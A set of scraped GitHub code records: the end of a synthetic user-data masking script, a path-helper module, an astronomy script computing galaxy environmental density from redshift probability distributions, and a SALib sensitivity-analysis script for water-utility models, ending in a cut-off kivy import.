150,return_as_list=True)[0],\n sample(programing,k=1)[0])\n project_list.append(info)\n all_user_features.loc[i,'project_list'] = project_list\n return None\n\n def clean_all_user_features(self,all_user_features):\n # Clean the text data and turn them into lower case\n clean_list = ['company','job_title','education','major','university']\n for l in clean_list:\n all_user_features[l] = all_user_features[l].apply(lambda x: re.sub(r'[^\\w\\s]', '', str(x)).lower())\n return all_user_features\n\n def literal_return(val):\n # Turn the string into list syntax\n try:\n return ast.literal_eval(val)\n except (ValueError, SyntaxError) as e:\n return None\n\n\n\n def concat_match_df(self,datasets_list,all_user_features):\n \"\"\"Combine several dataframes of user behavior into one, and clean the dataset.\n\n Args: (list) list of user behavior datasets\n (pandas.dataframe) users features data\n\n Return: (pandas.dataframe) dataframe with user behavior data\n \"\"\"\n\n match_df = pd.DataFrame()\n for file in datasets_list:\n df = pd.read_csv(file, index_col=0)\n match_df = pd.concat([match_df,df],axis=1)\n\n # Select uid corresponding with all_user_features\n match_df = match_df.loc[list(set(all_user_features.index)&set(match_df.index)),:]\n\n # Clean the text data\n clean_list = ['all_enrol','all_visits','all_orders']\n for l in clean_list:\n match_df[[l]] = match_df[[l]].applymap(self.str_to_list)\n return match_df\n\n def str_to_list(string):\n # Turn the string into list syntax\n if str(string) not in ['NaN','nan','None']:\n return string.strip('][').split(', ')\n else:\n return None\n\n def match_df_mask(self,match_df):\n \"\"\"Computes resampling of the match data.\n\n Args: (pandas.dataframe) dataframe with user behavior data\n\n Returns: (pandas.dataframe) dataframe with augmented user behavior data\n \"\"\"\n \n # expand purchase list\n order_num = [randint(200,300) for _ in range(50)]\n shuffle_order = list(set(sample(list(match_df[match_df.all_orders.isnull()].index),k=170)))\n match_df.loc[shuffle_order,'all_orders'] = sample(order_num*5,k=len(shuffle_order))\n match_df.loc[shuffle_order,'purchased_entity'] = match_df.loc[shuffle_order,'all_orders']\n\n # expand visits list\n shuffle_visit = list(set(sample(list(match_df[match_df.all_visits.isnull()].index),k=280)))\n visit_info = sample(list(match_df[match_df.all_visits.notnull()].index)*7,k=len(shuffle_visit))\n for col in ['url','time','time_period','all_visits']:\n match_df.loc[shuffle_visit,col] = list(match_df.loc[visit_info,col])\n\n # expand enrollment\n shuffle_enrol = list(set(sample(list(match_df[match_df.all_enrol.isnull()].index),k=160)))\n enrol_info = list(set(match_df[match_df.all_enrol.notnull()]['enrolment']))\n match_df.loc[shuffle_enrol,'enrolment'] = sample(enrol_info*7,k=len(shuffle_enrol))\n match_df.loc[shuffle_enrol,'all_enrol'] = match_df.loc[shuffle_enrol,'enrolment']\n return match_df\n\n\nfake_data = artificial_data()\n","repo_name":"GRMDS/User_Recommender","sub_path":"mask_data.py","file_name":"mask_data.py","file_ext":"py","file_size_in_byte":10740,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"63"} +{"seq_id":"21808536427","text":"import functools\nimport pathlib\nimport sys\n\n__all__ = (\"get_config_path\", \"get_icons_folder\", \"get_log_dir\", \"get_sql_folder\",)\n\n\n@functools.lru_cache\ndef get_root_dir() -> pathlib.Path:\n if getattr(sys, \"frozen\", False):\n path = pathlib.Path(getattr(sys, '_MEIPASS'))\n assert path is not None\n return path\n else:\n path = pathlib.Path(sys.argv[0]).parent.parent\n assert path.name == \"db-monitor\", f\"Expected the parent folder to be named db-monitor, but the path was {path.resolve()!s}.\"\n return path\n\n\n@functools.lru_cache\ndef get_config_path() -> pathlib.Path:\n return _check_exists(get_root_dir() / \"assets\" / \"config.json\")\n\n\n@functools.lru_cache\ndef get_icons_folder() -> pathlib.Path:\n return _check_exists(get_root_dir() / \"assets\" / \"icons\")\n\n\n@functools.lru_cache\ndef get_log_dir() -> pathlib.Path:\n fp = get_root_dir() / \"log\"\n fp.mkdir(exist_ok=True)\n return fp\n\n\n@functools.lru_cache\ndef get_sql_folder() -> pathlib.Path:\n return _check_exists(get_root_dir() / \"assets\" / \"sql\")\n\n\ndef _check_exists(fp: pathlib.Path) -> pathlib.Path:\n assert fp.exists(), f\"{fp!s} does not exist.\"\n return fp\n\n\ndef read_sql_file(file_path: pathlib.Path) -> str:\n with file_path.open(\"r\") as fh:\n lines = fh.readlines()\n sql = \" \".join(lines)\n return \" \".join(sql.split())\n","repo_name":"MarkStefanovic/db-monitor","sub_path":"src/adapter/fs.py","file_name":"fs.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"1518170397","text":"# Sean Dougherty\n# 1/31/2023\n# convinient separate script to calculate environmental density\n\n### import libraries ###\nimport pandas as pd\npd.options.mode.chained_assignment = None # has to do with setting values on a copy of a df slice, not an issue in execution\nimport numpy as np\nfrom numpy import random\nnp.seterr(all=\"ignore\") # np.log10(0 or -) occurs in data, but not an issue in execution\nimport time\nfrom time import sleep\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport math as m\nimport multiprocessing\nfrom multiprocessing import Pool, freeze_support, RLock, RawArray, Manager\nfrom functools import partial\nfrom astropy.cosmology import FlatLambdaCDM\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.io import fits\nfrom astropy.table import Table\nfrom scipy import signal\nfrom scipy.interpolate import interp1d\nimport collections\nimport sys\nimport os, psutil\n\n### define universal variables ###\nCATALOG_PATH = '/nobackup/c1029594/CANDELS_AGN_merger_data/CANDELS_COSMOS_CATS/'\nCANDELS_PDF_PATH = '/nobackup/c1029594/CANDELS_AGN_merger_data/Pair Project - Updated Data/'\nCOSMOS_PDF_PATH = '/nobackup/c1029594/CANDELS_AGN_merger_data/COSMOS_data/'\n\n# define cosmology\ncosmo = FlatLambdaCDM(H0=70 * u.km / u.s / u.Mpc, Tcmb0=2.725 * u.K, Om0=0.3) # 0.7 for omega\nz_type='p' # ['p', 'ps', 's'] <-- only use zphot PDFs, zphot PDFs + zspecs, or only zspecs\nmax_dv = 1000 # max relative line-of-sight velocity for galaxy pairs\nnum_procs=10 # number of processors you want to use in the environmental density calculations\n# initialize global dictionaries to aid in multiprocessing\nPDF_dict = {} # for each field, store the array of all zphot PDFs in here for all pooled processors to utilize simultaneously\ndf_dict = {} # for each field, store the paret sample df in here for pooled processors to utilize simultaneously\n\n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\ndef main():\n print('Beginning main()...')\n start = time.perf_counter()\n # going to do one field at a time\n all_fields = ['GDS','EGS','COS','GDN','UDS','COSMOS'] # COS is for CANDELS COSMOS\n for field in all_fields:\n # calculate the environmetal density\n hm_df = calc_envd(field)\n hm_df['field'] = [field]*len(hm_df)\n # save and combine to field catalogs in post or load them in directly into conv_agn_merger\n hm_df.to_parquet(CATALOG_PATH+field+'_environmental_density.parquet', index=False)\n \n print('Done!')\n print('Final time:', time.perf_counter() - start)\n\n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\ndef calc_envd(field):\n \"\"\"\n Loads data and PDFs, then calls multiprocessing to calculate environmental densities in parallel\n INPUTS\n : field - string - current field being studied\n RETURNS\n : hm_df - pd.Dataframe - columns include the galaxy's catalog ID and its environmental density\n \"\"\"\n print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n print('+++ ...Calculating environmental density in {0} in {1}-mode... +++'.format(field, z_type))\n print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n print('Beginning conv_envd()...')\n # load in data\n if field == 'COSMOS':\n df = pd.read_csv(CATALOG_PATH+field+'_data2.csv', dtype={'ZSPEC_R':object})\n df = df.loc[ (df['LP_TYPE'] != 1) & (df['LP_TYPE'] != -99) & (df['MASS'] > 8) & # low cutoff for all gals we will consider\n (df['FLAG_COMBINED'] == 0) & (df['SIG_DIFF'] > 0) & (df['ZPHOT_PEAK'] > 0) & (df['CANDELS_FLAG'] == False) ]\n else:\n df = pd.read_csv(CATALOG_PATH+field+'_data2.csv', dtype={'ZSPEC_R':object})\n df = df[ (df['CLASS_STAR'] < 0.9) & (df['PHOTFLAG'] == 0) & (df['MASS'] > 8) & (df['MASS'] < 15) &\n (df['SIG_DIFF'] > 0) & (df['ZPHOT_PEAK'] > 0) ] \n df = df.reset_index(drop=True)\n \n # first thing is change df based on z_type\n df['z'] = df['ZPHOT_PEAK']\n if z_type != 'p':\n df.loc[ df['ZBEST_TYPE'] == 's', 'z' ] = df['ZSPEC']\n df.loc[ df['ZBEST_TYPE'] == 's', 'SIG_DIFF' ] = 0.01\n \n # load pdfs into global dictionary so all processors have access\n print('loading PDFs')\n load_pdfs(field)\n # throw the parent sample df onto the universal dictionary for use while multiprocessing:\n df_dict[field] = df\n \n # limit df to the relevant parent sample -> no need to calculate environmental density for all the sources\n hm_df = df.loc[ (df['MASS'] > 9.4) & (df['z'] > 0.5) & (df['z'] < 3.0) ].reset_index(drop=True)\n \n # make field a global variable so all the pool workers get it\n global gfield\n gfield = field\n \n # begin multiprocessing\n print('Filling apple pool in {}'.format(field)) \n with Pool(processes=num_procs) as pool:\n # return the environmental density array\n result = pool.map(pll_od, np.array(hm_df['ID']))\n \n # close pool and clear dictionaries\n pool.close()\n pool.join()\n PDF_dict.clear()\n df_dict.clear()\n # var_dict.clear()\n \n # add environmental density measurements onto the parent sample df\n hm_df[z_type+'_env'] = np.array(result)\n \n # really all we need are ID and the environmental density\n return hm_df[['ID', z_type+'_env']]\n\n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\ndef pll_od(gal):\n \"\"\"\n Spawned workers from multiprocessing Pool use this function to individually calculate environmental densities for galaxies\n INPUTS\n : gal - int - ID of galaxy for which the worker is to calculate environmental density\n RETURNS\n : n/np.pi - float - environmental density in units of Mpc^-2\n \"\"\"\n # supply the pool worker with initial data\n field = gfield\n PDF_array = PDF_dict[field]\n z_01 = PDF_array[0,1:]\n df = df_dict[field]\n \n # what is the maximum arcsecond separation for 1 Mpc? ===> max_R_kpc\n # create SkyCoord objects and find all projected pairs to gal within 1 Mpc\n gal_pos = SkyCoord(df.loc[df['ID'] == gal, 'RA'] ,df.loc[df['ID'] == gal, 'DEC'], unit='deg')\n df_pos = SkyCoord(df['RA'], df['DEC'], unit='deg')\n R_kpc = cosmo.arcsec_per_kpc_proper(df.loc[df['ID'] == gal, 'z']) # arcsec/kpc at z=0.5\n max_R_kpc = 1000*u.kpc * R_kpc\n idxc, idxcatalog, d2d, d3d = df_pos.search_around_sky(gal_pos, max_R_kpc[0])\n matches = {'prime_index':idxc, 'partner_index':idxcatalog, 'arc_sep': d2d.arcsecond}\n # neatly assemble these pairs into a df\n match_df = pd.DataFrame(matches)\n match_df = match_df.loc[match_df['arc_sep'] != 0].reset_index(drop=True)\n match_df['ID1'] = [gal]*len(match_df)\n match_df['ID2'] = np.array(df.loc[ match_df['partner_index'], 'ID'])\n\n # calculate all pair probabilities of all projected pairs within 1 Mpc\n match_df['Cp'] = Convdif(z_01, PDF_array[np.array(match_df['ID1']),1:], PDF_array[np.array(match_df['ID2']),1:], dv_lim=max_dv)\n \n # n is the sum of all pair probabilities (Cp) of all projected companions within 1 Mpc\n n = np.sum(match_df['Cp'])\n # print('{0} overdensity = {1}'.format(gal, n / np.pi)) # in Mpc^-2\n \n # return n / Mpc^2 ( / 1 Mpc^2 not printed below)\n return n / np.pi\n \n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\ndef load_pdfs(field):\n \"\"\"\n Load in the redshift PDFs for the parent sample and store them globally for use in pll_od()\n INPUTS\n : field - string - current field being studied\n \"\"\"\n \n dA = np.linspace(0, 200, num=2001)\n \n # load in the PDFs:\n if field == 'COSMOS':\n with fits.open(COSMOS_PDF_PATH+'COSMOS2020_R1/PZ/COSMOS2020_CLASSIC_R1_v2.0_LEPHARE_PZ.fits') as data:\n COSMOS_PZ_arr = np.array(data[0].data)\n COSMOS_PZ_arrf = COSMOS_PZ_arr.byteswap().newbyteorder()\n COSMOS_PZ = pd.DataFrame(COSMOS_PZ_arrf)\n z_01 = COSMOS_PZ.loc[0,1:].to_numpy()\n PDF_array = np.array(COSMOS_PZ) # becomes an array in the column case\n else:\n with fits.open(CANDELS_PDF_PATH+'CANDELS_PDFs/'+field+'_mFDa4.fits') as data:\n CANDELS_PZ_arr = np.array(data[0].data)\n CANDELS_PZ_arrf = CANDELS_PZ_arr.byteswap().newbyteorder()\n CANDELS_PZ = pd.DataFrame(CANDELS_PZ_arrf)\n z_01 = CANDELS_PZ.loc[0,1:].to_numpy()\n PDF_array = np.array(CANDELS_PZ)\n \n # zspecs are sensitive beyond 0.01 z, so increase P(z) grid size to 0.001 when including zspecs\n if z_type != 'p':\n # Interpolate to a finer grid:\n z_fine = np.linspace(0,10,10001).round(3)\n # initialize array to put all PDFs in\n PDF_array_ps = np.zeros((len(PDF_array),len(z_fine)+1))\n # add the fine redshift as the first row:\n PDF_array_ps[0,1:] = z_fine\n # add the IDs on the left hand side below:\n PDF_array_ps[:,0] = PDF_array[:,0]\n # fill the phot-zs first: need the IDs of zbest_type = 'p'\n fintp1 = interp1d(z_01, PDF_array[np.array(all_df.loc[ all_df['ZBEST_TYPE'] == 'p', 'ID' ]),1:], kind='linear')\n PDF_array_ps[ np.array(all_df.loc[ all_df['ZBEST_TYPE'] == 'p', 'ID' ]), 1: ] = fintp1(z_fine)\n # now for spec-zs\n # find where in the PDF_array_ps the z-value is our spec-z value and fill - round to 0.001 to match grid sensitivity\n spec_IDs = np.array(all_df.loc[ all_df['ZBEST_TYPE'] == 's', 'ID' ])\n spec_zs = np.array(all_df.loc[ all_df['ZBEST_TYPE'] == 's', 'z' ]).round(3)\n # sort the zspecs to the correct ID and z in PDF_array\n y = spec_zs\n x = PDF_array_ps[0,:]\n xsorted = np.argsort(x)\n ypos = np.searchsorted(x[xsorted], y)\n indices = xsorted[ypos]\n # set the P(z) = 1 where z=zspec when we include zspecs\n PDF_array_ps[spec_IDs, indices ] = 1\n # now normalize\n PDF_array_ps[spec_IDs,1:] = ( PDF_array_ps[spec_IDs,1:] / \n np.array([np.trapz(PDF_array_ps[spec_IDs,1:], x=z_fine)]*PDF_array_ps[:,1:].shape[1]).T )\n # redefine to new 0.001 sensitivity\n z_01 = z_fine\n PDF_array = PDF_array_ps\n \n # add PDF array to the PDF_dict for use later:\n PDF_dict[field] = PDF_array\n \n return\n\n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\ndef dzdv(v):\n \"\"\"\n Differentiates redshift with respect to line-of-sight velocity (i.e., radial velocity)\n INPUTS\n : v - float - line-of-sight velocity\n RETURNS\n : dzdv - float - derivative of z w.r.t. vel evaluated at v\n \"\"\"\n c = 2.998e5 # km/s\n dzdv = (1/c) * ((1- (v/c))**(-1.5)) * ((1+ (v/c))**(-0.5))\n return dzdv\n\ndef radvel(z):\n \"\"\"\n Calculates line-of-sight (i.e., radial) velocity from a redshift\n INPUTS\n : z - float - redshift\n RETURNS\n : v - float - line-of-sight velocity\n \"\"\"\n c = 2.998e5 # km/s\n v = c * ( ((z+1)**2 - 1) / ((z+1)**2 + 1) )\n return v\n\n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\ndef Convdif(z_all, Pz1, Pz2, dv_lim=1000):\n \"\"\"\n Calculates relative line-of-sight pair probabilities via convolutions of redshift PDFs (photometric or spectroscopic).\n Can input Pz1 and Pz2 as 2D np.arrays and the calculations will be make column-wise.\n INPUTS\n : z_all - 1D np.array of floats - Redshift grid (z=0-10) with associates probabilities (e.g., Pz1 or Pz2). \n Sensitivity = 0.01 for p-mode and 0.001 otherwise\n : Pz1 - 1D np.array of floats - the redshift PDF (P(z)) of galaxy 1 in a projected pair. \n 1D or 2D depends on whether this function is performed as a column-wise operation\n : Pz2 - 1D np.array of floats - the redshift PDF (P(z)) of galaxy 2 in a projected pair.\n : dv_lim - int - relative line-of-sight velocity considered to define a true galaxy pair\n RETURNS\n : prob - float - relative line-of-sight probabilities\n \"\"\"\n # perform a change of variables into velocity space\n v_all = radvel(z_all)\n Pv1 = Pz1 * dzdv(v_all)\n Pv2 = Pz2 * dzdv(v_all)\n \n # interpolate the velocities to get evenly spaced points, z->v is not a linear map\n v_new = np.linspace(0,radvel(10),num=10000)\n fintp1 = interp1d(v_all, Pv1, kind='linear')\n fintp2 = interp1d(v_all, Pv2, kind='linear')\n \n # extend the inteprolated array into negative velocities to prepare for P(relative line-of-sight vel)\n all_v_neg = -1*v_new[::-1]\n all_ve = np.concatenate((all_v_neg[:-1], v_new))\n \n # convolve with the symmetrical interpolation values\n # the conditions below enure the code runs for single pairs as well as a column-wise operation based on input\n if len(fintp2(v_new).shape) == 1:\n v_conv = signal.fftconvolve(fintp2(v_new), fintp1(v_new)[::-1], mode='full')\n else:\n v_conv = signal.fftconvolve(fintp2(v_new), fintp1(v_new)[:,::-1], mode='full', axes=1)\n \n # clip out negative values <-- very very small negative vakues can appear as a feature of the convolution around 0 probaiblities\n v_conv = np.clip(v_conv, 0, None)\n # normalize distribition\n try:\n v_conv = v_conv / np.trapz(v_conv, x=all_ve)\n except:\n v_conv = v_conv / np.array([np.trapz(v_conv, x=all_ve)]*v_conv.shape[1]).T\n\n # integrate velocity convolution to find probability rel l.o.s. vel within dv_lim (i.e., pair threshold)\n rnge = tuple(np.where( (all_ve > -dv_lim) & (all_ve < dv_lim)))\n try:\n prob = np.trapz(v_conv[rnge], x=all_ve[rnge])\n except:\n prob = np.trapz(v_conv[:,rnge], x=all_ve[rnge])\n \n return prob\n\n### --------------------------------------------------------- ###\n### --------------------------------------------------------- ###\nif __name__ == '__main__':\n main()","repo_name":"sldough21/pair-convolutions","sub_path":"environmental_density.py","file_name":"environmental_density.py","file_ext":"py","file_size_in_byte":14222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"33040561413","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 18 17:36:28 2022\nConducts Delta moment-independent sensitivity analysis for both the performance objectives \nand robustness against changes in decision variables and DU factor multipliers\n@author: lbl59\n\"\"\"\n\nfrom SALib.analyze import delta\nimport numpy as np\nimport pandas as pd\n\ndef find_bounds(input_file):\n \"\"\"\n Finds the founds of the decision variables or DU factor multipliers.\n\n Parameters\n ----------\n input_file : numpy matrix\n A numpy matrix that specifies the lower and upper bounds of each decision\n variable or DU factor multiplier.\n\n Returns\n -------\n bounds : tuple\n The lower and upper bound of a decision variable or DU factor multiplier.\n\n \"\"\"\n bounds = np.zeros((input_file.shape[1],2), dtype=float)\n for i in range(input_file.shape[1]):\n bounds[i,0] = min(input_file[:,i])\n bounds[i,1] = max(input_file[:,i])\n\n return bounds\n\ndef minimax(N_SOLNS, objs):\n \"\"\"\n Performs regional minimax.\n\n Parameters\n ----------\n N_SOLNS : int\n Number of perturbed instances.\n objs : numpy matrix\n Performance objectives matrix WITHOUT regional performance values.\n\n Returns\n -------\n objs : numpy matrix\n Performance objectives matrix WITH regional performance values.\n\n \"\"\"\n for i in range(N_SOLNS):\n for j in range(5):\n if j == 0:\n objs[i,15] = np.min([objs[i,0],objs[i,5], objs[i,10]])\n else:\n objs[i, (j+15)] = np.max([objs[i,j],objs[i,j+5], objs[i,j+10]])\n return objs\n\ndef delta_sensitivity(dv_du, measured_outcomes, names, mo_names, bounds, compSol_full, rob_objs):\n \"\"\"\n Main function that performs Delta moment-independent sensitivity analysis\n Writes a csv file to a subfolder named 'delta_[rob_objs]_[mode]/S1_[util]_[compSol].csv'\n \n Parameters\n ----------\n dv_du : numpy matrix\n Contains the float values of the decision variables of each perturbed instance\n of a given compromise solution OR the DU factor multipliers.\n measured_outcomes : numpy matrix\n Contains the float values of either the performance objectives or robustness \n values, depending on the mode.\n names : list of strings\n Names of all relevant decision variables or DU factor multipliers.\n mo_names : list of strings\n Names of all relevant performance objectives or utilities (for robustness).\n bounds : numpy matrix\n An (len(dv_du) x 2) matrix of the lower and upper bounds of the decision variables\n or DU factor multipliers.\n compSol_full : string\n Longer abbreviation of the compromise solution name\n Social planner: LS98\n Pragmatist: PW113\n rob_objs : string\n Subfolder label indicating if this is sensitivity of robustness or objectives.\n\n Returns\n -------\n None.\n\n \"\"\"\n X = dv_du\n Y = measured_outcomes\n\n problem = {\n 'num_vars': int(dv_du.shape[1]),\n 'names': names,\n 'bounds': bounds\n }\n print('compSol: ', compSol_full)\n for i in range(measured_outcomes.shape[1]):\n '''\n if (i == 0 or i == 1 or i == 2 or i == 4) and compSol_full == 'FB171' and rob_objs == 'objs':\n continue\n if (i == 5 or i == 7 or i == 9) and compSol_full == 'FB171' and rob_objs == 'objs':\n continue\n if (i == 10 or i == 11 or i == 12 or i == 14) and compSol_full == 'FB171' and rob_objs == 'objs':\n continue\n if (i == 15 or i == 17 or i == 19) and compSol_full == 'FB171' and rob_objs == 'objs':\n continue\n \n if (i == 0 or i == 1 or i == 2 or i == 4) and compSol_full == 'PW113' and rob_objs == 'objs':\n continue\n if (i == 5 or i == 7 or i == 9) and compSol_full == 'PW113' and rob_objs == 'objs':\n continue\n if (i == 10 or i == 11 or i == 12 or i == 14) and compSol_full == 'PW113' and rob_objs == 'objs':\n continue\n if (i == 15 or i == 17 or i == 19) and compSol_full == 'PW113' and rob_objs == 'objs':\n continue\n \n if (i == 0 or i == 1 or i == 2 or i == 4) and compSol_full == 'LS98' and rob_objs == 'objs':\n continue\n if (i == 5 or i == 7 or i == 9) and compSol_full == 'LS98' and rob_objs == 'objs':\n continue\n if (i == 10 or i == 11 or i == 12 or i == 14) and compSol_full == 'LS98' and rob_objs == 'objs':\n continue\n if (i == 15 or i == 17 or i == 19) and compSol_full == 'LS98' and rob_objs == 'objs':\n continue\n \n if i == 7 and compSol_full == 'PW113' and rob_objs == 'objs':\n continue\n \n # ignore the INF_F\n if i == 14 and compSol_full == 'LS98' and rob_objs == 'objs':\n continue\n if i == 2 and compSol_full == 'PW113' and rob_objs == 'objs':\n continue\n '''\n \n mo_label = mo_names[i]\n print('obj: ', mo_label)\n \n filename = 'delta_output/delta_' + rob_objs + '_' + mode + '/S1_' + mo_label + '_' + compSol_full + '.csv'\n \n #filename = 'delta_output/delta_base_rdm/S1_' + mo_label + '_' + compSol_full + '.csv'\n S1 = delta.analyze(problem, X, Y[mo_label].values, num_resamples=10, conf_level=0.95, print_to_console=False)\n numpy_S1 = np.array(S1[\"S1\"])\n fileout = pd.DataFrame([names, numpy_S1], index = None, columns = None)\n fileout.to_csv(filename, sep=\",\")\n\n'''\nName all file headers and compSol to be analyzed\n'''\nobj_names = ['REL_W', 'RF_W', 'INF_NPC_W', 'PFC_W', 'WCC_W', \\\n 'REL_D', 'RF_D', 'INF_NPC_D', 'PFC_D', 'WCC_D', \\\n 'REL_F', 'RF_F', 'INF_NPC_F', 'PFC_F', 'WCC_F', \\\n 'REL_R', 'RF_R', 'INF_NPC_R', 'PFC_R', 'WCC_R']\n\n \ndv_names = ['RT_W', 'RT_D', 'RT_F', 'TT_D', 'TT_F', 'LMA_W', 'LMA_D', 'LMA_F',\\\n 'RC_W', 'RC_D', 'RC_F', 'IT_W', 'IT_D', 'IT_F', 'INF_W', 'INF_D', 'INF_F']\n'''\nDU factor keys:\n WRE: Watertown restriction efficiency\n DRE: Dryville restriction efficiency\n FRE: Fallsland restriction efficiency\n DMP: Demand multiplier\n BTM: Bond term multiplier\n BIM: Bond interest rate multiplier\n IIM: Infrastructure interest rate multiplier\n EMP: Evaporation rate multplier\n STM: Streamflow amplitude multiplier\n SFM: Streamflow frequency multiplier\n SPM: Streamflow phase multiplier\n'''\n\nrdm_headers_dmp = ['WRE', 'DRE', 'FRE']\nrdm_headers_utilities = ['DMP', 'BTM', 'BIM', 'IIM']\nrdm_headers_inflows = ['STM', 'SFM', 'SPM']\nrdm_headers_ws = ['EMP', 'CRR PTD', 'CRR CTD', 'LM PTD', 'LM CTD', 'AL PTD', \n 'AL CTD', 'D PTD', 'D CTD', 'NRR PTDD', 'NRR CTD', 'SCR PTD', \n 'SCT CTD', 'GC PTD', 'GC CTD', 'CRR_L PT', 'CRR_L CT', \n 'CRR_H PT', 'CRR_H CT', 'WR1 PT', 'WR1 CT', 'WR2 PT', \n 'WR2 CT', 'DR PT', 'DR CT', 'FR PT', 'FR CT']\n\nrdm_headers_ws_drop = ['CRR PTD', 'CRR CTD', 'LM PTD', 'LM CTD', 'AL PTD', \n 'AL CTD', 'D PTD', 'D CTD', 'NRR PTDD', 'NRR CTD', \n 'SCR PTD', 'SCT CTD', 'GC PTD', 'GC CTD']\n\nrdm_all_headers = ['WRE', 'DRE', 'FRE', 'DMP', 'BTM', 'BIM', 'IIM', \n 'STM', 'SFM', 'SPM', 'EMP', 'CRR_L PT', 'CRR_L CT', \n 'CRR_H PT', 'CRR_H CT', 'WR1 PT', 'WR1 CT', 'WR2 PT', \n 'WR2 CT', 'DR PT', 'DR CT', 'FR PT', 'FR CT']\n\nutilities = ['Watertown', 'Dryville', 'Fallsland', 'Regional']\n\nN_RDMS = 1000\nN_SOLNS = 1000\n\n'''\n# different DU scenarios\nbad_scenario = 223 # evap multiplier = 1.2, demand multiplier = 1.95\noptimistic_scenario = 782 # evap multiplier = 0.82, demand multiplier = 0.54\nbaseline_scenario = 229 # evap multiplier = 1.0, demand multiplier = 0.99\n'''\n\n'''\nLoad DU factor files and DV files\n'''\nrdm_factors_directory = '/home/fs02/pmr82_0001/lbl59/Implementation_Uncertainty/WaterPaths_duReeval/TestFiles/'\nrdm_dmp_filename = rdm_factors_directory + 'rdm_dmp_test_problem_reeval.csv'\nrdm_utilities_filename = rdm_factors_directory + 'rdm_utilities_test_problem_reeval.csv'\nrdm_inflows_filename = rdm_factors_directory + 'rdm_inflows_test_problem_reeval.csv'\nrdm_watersources_filename = rdm_factors_directory + 'rdm_water_sources_test_problem_reeval.csv'\n\nrdm_dmp = pd.read_csv(rdm_dmp_filename, sep=\",\", names=rdm_headers_dmp)\nrdm_utilities = pd.read_csv(rdm_utilities_filename, sep=\",\", names=rdm_headers_utilities)\nrdm_inflows = pd.read_csv(rdm_inflows_filename, sep=\",\", names=rdm_headers_inflows)\nrdm_ws_full = np.loadtxt(rdm_watersources_filename, delimiter=\",\")\nrdm_ws = pd.DataFrame(rdm_ws_full[:, :len(rdm_headers_ws)], columns=rdm_headers_ws)\n\nrdm_ws = rdm_ws.drop(rdm_headers_ws_drop, axis=1)\n\ndufs = pd.concat([rdm_dmp, rdm_utilities, rdm_inflows, rdm_ws], axis=1, ignore_index=True)\ndufs.columns = rdm_all_headers\ndufs_np = dufs.to_numpy()\n\nduf_numpy = dufs_np[:1000, :]\n\ndv_directory = '/home/fs02/pmr82_0001/lbl59/Implementation_Uncertainty/WaterPaths_duReeval/IU_Samples/'\n\n\n'''\n2 - Get bounds for DU factors \n'''\nduf_bounds = find_bounds(duf_numpy)\n\n'''\n3 - Load robustness file and objectives file\n'''\n\n# to change\ncompSol_names = ['FB171', 'PW113', 'LS98']\ncompSol_names_short = ['FB', 'PW', 'LS']\n\nfor c in range(len(compSol_names)):\n compSol_full = compSol_names[c]\n compSol = compSol_names_short[c]\n \n '''\n 2 - Get bounds for DVs\n ''' \n dv_filename = dv_directory + 'IU_allMeasures_' + compSol + '.csv'\n\n dvs = np.loadtxt(dv_filename, delimiter=\",\")\n dvs = np.delete(dvs, [14,15,16], 1)\n dv_bounds_filename = '/home/fs02/pmr82_0001/lbl59/Implementation_Uncertainty/' + compSol + '_data/IU_ranges.txt'\n dv_bounds = np.loadtxt(dv_bounds_filename, delimiter=\" \", usecols=(1,2))\n \n out_directory = '/home/fs02/pmr82_0001/lbl59/Implementation_Uncertainty/post_processing_du/DU_reeval_output_Apr2022/' + \\\n compSol_full + '/'\n '''\n Change here!\n '''\n dv_du = dvs[:1000, :len(dv_names)] # Change depending on RDM factor being analyzed\n names = dv_names # Change depending on whether DVs for DU factors are being analyzed\n bounds = dv_bounds # Change depending on whether DVs for DU factors are being analyzed\n mode = 'DV' # Change depending on whether DVs (DV) for DU factors (DUF) are being analyzed\n\n robustness_filename = out_directory + 'robustness_perturbed_og_' + compSol_full + '.csv'\n robustness_arr = np.loadtxt(robustness_filename, delimiter=\",\")\n robustness_df = pd.DataFrame(robustness_arr[:1000, :], columns=utilities)\n\n objs_filename = \"\"\n if mode == 'DV':\n objs_filename = out_directory + 'meanObjs_acrossRDM_' + compSol_full + '.csv'\n '''\n objs_filename = '/home/fs02/pmr82_0001/lbl59/Implementation_Uncertainty/WaterPaths_duReeval/Objectives_' + \\\n compSol + '_perturbed_Apr2022/Objectives_RDM' + str(baseline_scenario) + '_sols0_to_1000.csv'\n '''\n elif mode == 'DUF':\n objs_filename = out_directory + 'meanObjs_acrossSoln_' + compSol_full + '.csv'\n \n objs_arr = np.loadtxt(objs_filename, delimiter=\",\")\n objs_all = np.zeros((N_SOLNS,20), dtype=float)\n objs_all[:,:15] = objs_arr\n objs_all = minimax(N_SOLNS, objs_all)\n objs_df = pd.DataFrame(objs_all[:1000, :], columns=obj_names)\n\n '''\n Change here!\n '''\n measured_outcomes = objs_df # Change depending on objs or robustness being analyzed\n mo_names = obj_names # Change depending on objs or robustness being analyzed\n rob_objs = 'objs' # Change depending on objs ('objs') or robustness ('robustness') being analyzed\n\n delta_sensitivity(dv_du, measured_outcomes, names, mo_names, bounds, compSol_full, rob_objs)\n","repo_name":"lbl59/implementation-uncertainty","sub_path":"figure_generation/Fig09_1_delta_sensitivity.py","file_name":"Fig09_1_delta_sensitivity.py","file_ext":"py","file_size_in_byte":11758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"2034736404","text":"import kivy\nimport kivymd\n\nfrom kivy.core.window import Window\nfrom kivymd.app import MDApp\nfrom kivymd.uix.label import MDLabel\nfrom 